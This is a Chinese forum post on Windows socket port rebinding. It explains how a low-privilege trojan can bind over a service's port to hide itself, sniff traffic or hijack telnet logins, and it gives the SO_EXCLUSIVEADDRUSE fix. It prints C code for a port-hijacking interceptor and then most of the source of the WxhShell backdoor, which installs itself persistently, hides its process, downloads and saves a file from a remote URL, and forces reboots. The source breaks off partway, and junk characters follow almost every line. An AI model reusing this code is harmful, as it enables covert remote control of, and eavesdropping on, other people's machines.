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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E(~7NRRm  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3Z XAAV  
LZV-E=`  
  saddr.sin_family = AF_INET; r1L@p[>  
gNB+e5[; 2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8z`ZHn3=  
qUJ"* )S  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;g0Q_F@;p  
Q,3kaR@O  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~ WWhCRq  
wQ+pVu?6_  
  这意味着什么?意味着可以进行如下的攻击: rl|'.~mc  
?^Rp" H   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e )0 ]WJ  
& FhJ%JK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t1w5U+z  
zZCl]cql  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >+M[!;m}  
FRQ.ix2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {-4+=7Sg1  
9O;Sn+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L7rgkxI7k*  
ZmsYRk~@-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1Wpu  
vB7Gx>BQd  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \zBi-GI7  
ZNBowZI  
  #include ` UsJaoR#f  
  #include ?Lg<)B9   
  #include EF)BezG5y  
  #include    5?0<.f,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   R-Edht|{  
  int main() syl7i>P  
  { W.j^L;  
  WORD wVersionRequested; _k@cs^  
  DWORD ret; $JY \q2  
  WSADATA wsaData; OJ&'Z}LB  
  BOOL val; d A)T>  
  SOCKADDR_IN saddr; jFN0xGZ  
  SOCKADDR_IN scaddr; #]}Ii{1?Y  
  int err; Kv@P Uzu  
  SOCKET s; Nf] ?hfJ  
  SOCKET sc; L`nW&; w'  
  int caddsize; 5 A0]+)5E8  
  HANDLE mt; j\ y!  
  DWORD tid;   t% qep|  
  wVersionRequested = MAKEWORD( 2, 2 );  =yod  
  err = WSAStartup( wVersionRequested, &wsaData ); Qt.*Z;Gs  
  if ( err != 0 ) { s5*4<VxQN.  
  printf("error!WSAStartup failed!\n"); `%Ih'(ne  
  return -1; VIAq$iu7  
  } EH844k8 p  
  saddr.sin_family = AF_INET; mjD^iu8?  
   _&-d0'+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #}^waYAk)  
v'hc-Q9+>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0D,@^vw bK  
  saddr.sin_port = htons(23); v`|]57?A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h@ lz  
  { cEL:5*cAU}  
  printf("error!socket failed!\n"); ?}?"m:=  
  return -1; ]9YA~n\  
  } 'yiv.<4  
  val = TRUE; mx9vjW fy  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 s@Q7F{z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c,1  G+.  
  { v2x+_K}J  
  printf("error!setsockopt failed!\n"); |ke0G  
  return -1; H'WYnhU&  
  } (_pw\zk>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g (w/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?'k_K:_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 beO Mln+R  
&PC6C<<f  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }d%CZnY&7  
  { V lx.C~WYn  
  ret=GetLastError(); }TTghE!  
  printf("error!bind failed!\n"); <+*0{8?0  
  return -1; y(|#!m?@  
  } 3q%z  
  listen(s,2); =`+D/ W\[Y  
  while(1) &{j!!LL  
  { ?M:>2wl  
  caddsize = sizeof(scaddr); eA& #33  
  //接受连接请求 F(VVb(\jd  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fw&*;az  
  if(sc!=INVALID_SOCKET) lAnq2j|  
  { ,V1"Typ#<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _<Ak M"  
  if(mt==NULL) b+~_/;Y9  
  { Z^'~iU-?  
  printf("Thread Creat Failed!\n"); T";evM66  
  break; sK#) k\w>  
  } ST{Vi';}  
  } c0o]O[  
  CloseHandle(mt); s*rR> D:  
  } WOn53|GQK  
  closesocket(s); }ktIG|GC  
  WSACleanup(); {Z c8,jm  
  return 0; 6k hBT'n  
  }   1hw.gn*JK>  
  DWORD WINAPI ClientThread(LPVOID lpParam) Vit-)o{zr  
  { EV( F!&  
  SOCKET ss = (SOCKET)lpParam; LuySa2 ,  
  SOCKET sc; s~OcL  5  
  unsigned char buf[4096]; ~ky;[  
  SOCKADDR_IN saddr; KJ+6Y9b1  
  long num; 6 /<Hx@r (  
  DWORD val; 6Amt75RY  
  DWORD ret; k^cZePqE6d  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L-(bw3Yr>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   gY7sf1\wX  
  saddr.sin_family = AF_INET; EK# 11@0%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Phi5;U!  
  saddr.sin_port = htons(23); XR..DVab  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4`8s]X  
  { M0$MK>  
  printf("error!socket failed!\n"); %np(z&@wi  
  return -1; "s|P,*Xf  
  } K+)3 LR^  
  val = 100; 6,5h4[eF*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NFTv4$5d  
  { rXW.F'=K6  
  ret = GetLastError(); 4w+AOWjd  
  return -1; S TWH2_`  
  } kl]V_ 7[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,ciX *F"  
  { ?t%{2a<X  
  ret = GetLastError(); 9]v,3'QI  
  return -1; !L.R"8!  
  } )B]s.w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j4;^5 Dy^  
  { "73*0'm  
  printf("error!socket connect failed!\n"); jSpj6:@B  
  closesocket(sc); S${%T$>  
  closesocket(ss); :fj>JF\[  
  return -1; vD8pVR+  
  } %%K3J<5  
  while(1) }Nr6oUn  
  { XncX2E4E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  Z}t;:yhR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *+*W# de.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ND1hZ3(^  
  num = recv(ss,buf,4096,0); x\'3UKQP+^  
  if(num>0) RNc:qV<H  
  send(sc,buf,num,0); 7G+!9^  
  else if(num==0)  D_dv8  
  break; ,a&,R*r@&  
  num = recv(sc,buf,4096,0); +(= -95qZ  
  if(num>0) ZP~H!  
  send(ss,buf,num,0); 7RDmvWd-'?  
  else if(num==0) H{n:R *  
  break; rQl9SUs  
  } d0B`5#4  
  closesocket(ss); Stw g[K0<  
  closesocket(sc); /Pe xtj<  
  return 0 ; ueJ^Q,-t  
  } Ug+ K:YUq  
cD]H~D}M  
DY#195H  
========================================================== w4P;Z-Cd  
I8! .n  
下边附上一个代码,,WXhSHELL GZi`jp  
gM&O dT+i  
========================================================== @2T8H  
}vh <x6  
#include "stdafx.h" _FOIMjh%N  
d:hnb)I$*  
#include <stdio.h> .#~!w!T  
#include <string.h> 8XYxyOl  
#include <windows.h> "*HM8\  
#include <winsock2.h> :|9vMM^$  
#include <winsvc.h> 2->Lz  
#include <urlmon.h> SZTn=\  
 p0W<K  
#pragma comment (lib, "Ws2_32.lib") v' t'{g%  
#pragma comment (lib, "urlmon.lib") ;.AMP$o`(Y  
8Ygf@*9L4  
#define MAX_USER   100 // 最大客户端连接数 3UXZ|!-  
#define BUF_SOCK   200 // sock buffer j_5&w Znq  
#define KEY_BUFF   255 // 输入 buffer L*4"D4V  
Gx$m"Jeq\  
#define REBOOT     0   // 重启 d;<'28A  
#define SHUTDOWN   1   // 关机 F5X9)9S  
: j kO  
#define DEF_PORT   5000 // 监听端口 G>"n6v'^d  
Pl=)eq YY  
#define REG_LEN     16   // 注册表键长度 1Du5Z9AM  
#define SVC_LEN     80   // NT服务名长度 "Bwz Fh  
E{[Y8U1n  
// 从dll定义API &Z>??|f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \)5mO 8w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <pV8 +V)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zgz!"knVx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j_d}?jh  
p>eYi \'  
// wxhshell配置信息 R`]@.i4tt  
struct WSCFG { [_jw8`  
  int ws_port;         // 监听端口 /RJ]MQ\*O  
  char ws_passstr[REG_LEN]; // 口令 3\4e{3$  
  int ws_autoins;       // 安装标记, 1=yes 0=no EC5 = 2w<  
  char ws_regname[REG_LEN]; // 注册表键名 XY{N"S8  
  char ws_svcname[REG_LEN]; // 服务名 e|:\Ps`8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]d[e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lusUmFm'*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Pk;/4jt4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $}vzBuWHwN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j^#p#`m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 md<^x(h"<  
_IdW5G  
}; `uMc.:5\  
3#'8 S_  
// default Wxhshell configuration vE,^K6q0`  
struct WSCFG wscfg={DEF_PORT, hBRi5&%  
    "xuhuanlingzhe", L754odc  
    1, ;6 W[%{  
    "Wxhshell", Csy$1;"A  
    "Wxhshell", HI{q#  
            "WxhShell Service", F?tWx+N<{  
    "Wrsky Windows CmdShell Service", q6rkp f,Tl  
    "Please Input Your Password: ", ,+ IFV  
  1, S'^ q  
  "http://www.wrsky.com/wxhshell.exe", ;o'r@4^&$R  
  "Wxhshell.exe" CyLwCS{V\  
    }; d+G%\qpzQ  
@:RoYvk$  
// 消息定义模块 Dqo#+_v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X+sKG5nS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m5 sW68  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  ?;v\wx  
char *msg_ws_ext="\n\rExit."; ?o.d FKUe  
char *msg_ws_end="\n\rQuit."; N$e mS  
char *msg_ws_boot="\n\rReboot..."; mWYrUI  
char *msg_ws_poff="\n\rShutdown..."; ]QHp?Ii1  
char *msg_ws_down="\n\rSave to "; 5,p;b  
#8M?y*<I  
char *msg_ws_err="\n\rErr!";  :QP1!  
char *msg_ws_ok="\n\rOK!"; ~}j+~  
)EB+(c~E  
char ExeFile[MAX_PATH]; vu@.;-2E%  
int nUser = 0; 'fl.&"/r  
HANDLE handles[MAX_USER]; _f";zd  
int OsIsNt; B<L7`xL  
T5|kO:CbHq  
SERVICE_STATUS       serviceStatus; ;8XRs?xyd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z H-a%$5  
'WhJ}Uo\  
// 函数声明 $365VTh"  
int Install(void); al}J^MJ  
int Uninstall(void); L!*+: L DL  
int DownloadFile(char *sURL, SOCKET wsh); ?Xvy0/s5  
int Boot(int flag); vE^tdzAG  
void HideProc(void); Cp/f18zO  
int GetOsVer(void); 2? yo  
int Wxhshell(SOCKET wsl); Z@dVK`nD  
void TalkWithClient(void *cs); wH!$TAZ:Yw  
int CmdShell(SOCKET sock); j24 3oD  
int StartFromService(void); mrRid}2  
int StartWxhshell(LPSTR lpCmdLine); izcaWt3 a  
XX /s@C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 17?YN<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UJh;Hp:  
1xEOYM)  
// 数据结构和表定义 =q]!"yU[d  
SERVICE_TABLE_ENTRY DispatchTable[] = I ?Dp *u*  
{ ;6``t+]q   
{wscfg.ws_svcname, NTServiceMain}, Z6${nUX  
{NULL, NULL} kd!?N  
}; @k h<b<a4  
4 j=K3m  
// 自我安装 [5~mP`He  
int Install(void) ";=!PL  
{ (o IGp  
  char svExeFile[MAX_PATH]; |?VJf3 A  
  HKEY key; -GFZFi  
  strcpy(svExeFile,ExeFile); ;<Z6Y3>I8  
:p}8#rb  
// 如果是win9x系统,修改注册表设为自启动 /a^ R$RHl'  
if(!OsIsNt) { nyi!D   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qJ`:$U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f%.Ngf9  
  RegCloseKey(key); [HY r|T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LWJ ?p-X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '42$O  
  RegCloseKey(key); f0SrPc v  
  return 0; bD,X.  
    } pml33^*<U  
  } g=4^u*  
} Gu~*ZKyJ  
else { aA#79LS  
~5&4s  
// 如果是NT以上系统,安装为系统服务 AcuF0KWw/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tjFX(;^[  
if (schSCManager!=0) B }%2FUv  
{ ~ C%I'z'  
  SC_HANDLE schService = CreateService k2v:F  
  ( :1UMA@HP  
  schSCManager, 8lpAe0p(Z  
  wscfg.ws_svcname, O_1[KiZ  
  wscfg.ws_svcdisp, X8ap   
  SERVICE_ALL_ACCESS, z5$Q"Y.D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :CE4< {V  
  SERVICE_AUTO_START, KL=<s#  
  SERVICE_ERROR_NORMAL, IyHbl_ P ^  
  svExeFile, 7C7.}U  
  NULL, `5@F'tKQ  
  NULL, e9[72V  
  NULL, @p*)^D6E\  
  NULL, GA gTy  
  NULL 0uDDaFS  
  ); 2.z-&lFBZ  
  if (schService!=0) * HKu%g  
  { >E<ib[vK[  
  CloseServiceHandle(schService); oVy{~D=  
  CloseServiceHandle(schSCManager); :/|"db&`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uTR^K=Ve  
  strcat(svExeFile,wscfg.ws_svcname); 7v%c.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7tcadXk0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AChz}N$C  
  RegCloseKey(key); z/{X{+Z  
  return 0; g.Xk6"kO  
    } u)0I$Tc"  
  } J |q(HpB  
  CloseServiceHandle(schSCManager); vt#;j;liG  
} GjhTF|  
} GkJcd;  
_Ub `\ytx  
return 1; l\s!A&L  
} XH!#_jy  
Q|AZv>'!  
// 自我卸载 i 6G40!G=)  
int Uninstall(void) rz"$zc.)  
{ Q6Gw!!Z5EA  
  HKEY key; 5Ml=<^  
rR.It,,  
if(!OsIsNt) { ss)x fG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QadguV6|  
  RegDeleteValue(key,wscfg.ws_regname); |ri)-Bk ,  
  RegCloseKey(key); lxhb)]c ^>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [%.v;+L  
  RegDeleteValue(key,wscfg.ws_regname); 3gi)QCsk  
  RegCloseKey(key); E^i]eK*"  
  return 0; &$ h~Q  
  } x z _sejKB  
} 6TW7E }a.  
} n[ B~C  
else { 3 ~v 17  
B?VTIq>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7QsD"rL  
if (schSCManager!=0) @gI1:-chB  
{ *|A QV:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;/K2h_=3z  
  if (schService!=0) zU?O)w1'  
  { /}?7Eni  
  if(DeleteService(schService)!=0) { !__0Vk[s  
  CloseServiceHandle(schService); [%P#ieD4  
  CloseServiceHandle(schSCManager); CZ5\Et6r  
  return 0; #V!a<w4_  
  } KrE 'M  
  CloseServiceHandle(schService); ntW@Fm:bw>  
  } 9|+6@6VY!  
  CloseServiceHandle(schSCManager); mOE *[S)  
} 3"y 6|e/5  
} ! xCo{U=  
I^ ?tF'E  
return 1; Jxe+LG  
} ~K;QdV=YX  
":Dm/g  
// 从指定url下载文件 Q7s@,c!m_  
int DownloadFile(char *sURL, SOCKET wsh) Lzq/^&sc(  
{ II\&)_S.4  
  HRESULT hr; =c[tHf  
char seps[]= "/"; Y9+_MxC"  
char *token; S0,\{j  
char *file; HxG8 'G  
char myURL[MAX_PATH]; R?xb1yc7_  
char myFILE[MAX_PATH]; `S {&gl  
`geHSx_  
strcpy(myURL,sURL); ]\78(_o.zz  
  token=strtok(myURL,seps); rJ!cma  
  while(token!=NULL) W: ]FYC  
  { Ww7Ya]b.k  
    file=token; I~GF%$-G  
  token=strtok(NULL,seps); iM+` 7L'  
  } =kd$??F  
V'vR(Wx  
GetCurrentDirectory(MAX_PATH,myFILE); AcH-TIgM/  
strcat(myFILE, "\\"); H9cPtP~a)  
strcat(myFILE, file); @]=40Yj~w  
  send(wsh,myFILE,strlen(myFILE),0); WgtLKRZ\  
send(wsh,"...",3,0); $]2)r[eA)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \|;\  
  if(hr==S_OK) /at7 H!  
return 0; tb3V qFx  
else y0* rY  
return 1; d!,t_jM0  
(`tRJWbdz  
} O*EV~ {K  
/A=w`[<  
// 系统电源模块 6%v9o?:~l  
int Boot(int flag) -=ZL(r 1  
{ .G0 N+)  
  HANDLE hToken; Luq4q95]  
  TOKEN_PRIVILEGES tkp; u!_l/'\  
$]v}X},,  
  if(OsIsNt) { ^J'_CA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); / ;]5X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ht3.e[%'b  
    tkp.PrivilegeCount = 1; ?8b19DMK6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !|cg=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GtA`0B  
if(flag==REBOOT) { h!EA;2yGKa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tq3Wga!5  
  return 0; }r,\0Wm  
} kBu{ bxL  
else { oaoTd$/5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /R)wM#&  
  return 0; >[}oH2oi  
} hx;f/E Px  
  } OrY[  
  else { ^Co-!jM  
if(flag==REBOOT) { \/a6h   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {MUB4-@?F$  
  return 0; r~4uIUE{  
} 7u):J  
else { rO1!h%&o"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3*b5V<}'|  
  return 0; w:~*wv  
} C-'hXh;hQ  
} {1W:@6tl  
ccD+AGM.  
return 1; g)D_  !iz  
} KpLmpK1  
U.%Kt,qB  
// win9x进程隐藏模块 qNp1<QO0  
void HideProc(void) JfY*#({y  
{ ZCiCZ)oc  
\8`?ir q"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <xOv8IQ|  
  if ( hKernel != NULL ) wQkM:=t5  
  { +.G"ool  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s{hKl0ds  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vF$i"^;tJ;  
    FreeLibrary(hKernel); 2-&EkF4p'  
  } .KsR48g8  
B /? L$m  
return; ?pDr"XH~  
} PnlI {d  
d=!:UB  
// 获取操作系统版本 Cy/&KWLenf  
int GetOsVer(void) U|(+-R8Z  
{ d0 cL9&~qW  
  OSVERSIONINFO winfo; Qzi?%&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Szus*YL7  
  GetVersionEx(&winfo); /7Q|D sa  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %u -x9  
  return 1; QrZ#<{,J5  
  else eL!41_QI  
  return 0; Jd2.j?P=  
} s27IeF3  
hsZ/Vnn`  
// 客户端句柄模块 H}@:Bri  
int Wxhshell(SOCKET wsl) gEA SYIQ  
{ \bA Yic  
  SOCKET wsh; Z:; }  
  struct sockaddr_in client; 9>""xt  
  DWORD myID; 6_LeP9s )  
2Xb, i  
  while(nUser<MAX_USER) 6% D9;-N)  
{ 2iAC_"n  
  int nSize=sizeof(client); 5E:$\z;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5of3&  
  if(wsh==INVALID_SOCKET) return 1; zM0NRERi  
I<SgKva;c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k$EVr([  
if(handles[nUser]==0) x-^6U  
  closesocket(wsh); 8a)AuAi?!  
else Ic& h8vSU  
  nUser++; WzMYRKZ  
  } 5En6f`nR{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0}{xH  
NE995;  
  return 0; iyskADS  
} s?SspuV  
+^)v"@,VP  
// 关闭 socket jvT'N@  
void CloseIt(SOCKET wsh) V5|ANt  
{ [U\?+@E*  
closesocket(wsh); |s|}u`(@9  
nUser--; 98m|&7  
ExitThread(0); =;}W)V|X)S  
} |(7}0]BP0  
*O?c~UJhhV  
// 客户端请求句柄 )P$(]{  
void TalkWithClient(void *cs) 3} A$+PX  
{ / )0hsQs  
w =^.ICyb@  
  SOCKET wsh=(SOCKET)cs; U ZZJtQt  
  char pwd[SVC_LEN]; n|`3d~9$&  
  char cmd[KEY_BUFF]; n ]ikc|  
char chr[1]; XtF m5\U  
int i,j; GK?ual1  
HpwMm^  
  while (nUser < MAX_USER) { V\V /2u5-  
[ oWkd_dK  
if(wscfg.ws_passstr) { Bqx5N"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8h )XULs2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2*Z2uV^  
  //ZeroMemory(pwd,KEY_BUFF);  8*ZsR)!  
      i=0; rIb+c=|F  
  while(i<SVC_LEN) { Vej$|nF  
QFh1sb)]d)  
  // 设置超时 O*yxOb*  
  fd_set FdRead; M5xJ_yjG  
  struct timeval TimeOut; Qm%F]nyy  
  FD_ZERO(&FdRead); `-NK:;^  
  FD_SET(wsh,&FdRead); GW2\YU^{  
  TimeOut.tv_sec=8; yMs!6c*  
  TimeOut.tv_usec=0; S0$^|/Sr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^xo<$zn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .nV2 n@SR  
>J"IN I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DA=!AK>  
  pwd=chr[0]; ~lj~]j  
  if(chr[0]==0xd || chr[0]==0xa) { 0D-`>_  
  pwd=0; {C1crp>q  
  break; A~ya{^}  
  } sXKkZ+2q  
  i++; lU WXXuO]  
    } 7Z-j'pq  
Z%T Ajm  
  // 如果是非法用户,关闭 socket Sn CwoxK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Uqr>8|t?  
} jm0p%%z  
_=v#"l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]5!3|UYS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OG\i?N  
)0{`}7X  
while(1) { QV4|f[Ki%  
m 0HK1'  
  ZeroMemory(cmd,KEY_BUFF); .hTqZvDa  
Q=~"xB8  
      // 自动支持客户端 telnet标准   tjdPi a  
  j=0; \0$+*ejz  
  while(j<KEY_BUFF) { Q PH=`s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A=|XlP$6  
  cmd[j]=chr[0]; 3^xUN|.F*V  
  if(chr[0]==0xa || chr[0]==0xd) { UBvp3 2p  
  cmd[j]=0; i,Ct AbMx  
  break; uo F.f$%"  
  } U>5^:%3  
  j++; 16NHzAQ  
    } ?HEqv$n  
T^bA O-d#  
  // 下载文件 CK* * RZ  
  if(strstr(cmd,"http://")) { fv+]iK<{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >7U/TVd&  
  if(DownloadFile(cmd,wsh)) 1HJ: ?]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .35(MFvq!  
  else q? ,PFvs"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mvn- QP~"  
  } (f/(q-7VWt  
  else { -YoL.`s1   
1ni+)p>]  
    switch(cmd[0]) { XcR=4q|7  
  ^'UM@dd?!  
  // 帮助 Xr*I`BJ  
  case '?': { 1v@#b@NXM7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W/'1ftn?D  
    break; 0cG'37[  
  } j,n:%5P\v  
  // 安装 Xfiwblg  
  case 'i': { ]HKt7 %,  
    if(Install()) ">V&{a-C4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CTMC78=9}  
    else Nc[@QC{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^:9a1{L[  
    break; r" H::A  
    } 1;B~n5C.   
  // 卸载 \aSP7DzqQ  
  case 'r': { {kpad(E  
    if(Uninstall()) I{Du/"r#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n,I3\l9  
    else .Rr^AGA4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %9-^,og  
    break; emSq{A  
    } fk*(8@u>  
  // 显示 wxhshell 所在路径 -L2.cN_  
  case 'p': { E'iE#He  
    char svExeFile[MAX_PATH]; 3(YvqPp&  
    strcpy(svExeFile,"\n\r"); qs4jUm  
      strcat(svExeFile,ExeFile); r@G*Fx8Z  
        send(wsh,svExeFile,strlen(svExeFile),0); 8ud12^s$  
    break; r$jWjb  
    } R%r bysP  
  // 重启 Tigw+2  
  case 'b': { zJQh~)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;zCUx*{  
    if(Boot(REBOOT)) *-VRkS-G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eORXyh\K  
    else { k1&9 bgI  
    closesocket(wsh); Ek +R  
    ExitThread(0); s$Vl">9#  
    } Ni~IY# '  
    break; dsTX?E<R  
    } $8^Hk xy  
  // 关机 /wD f,Hduz  
  case 'd': { bY_'B5$.^2  
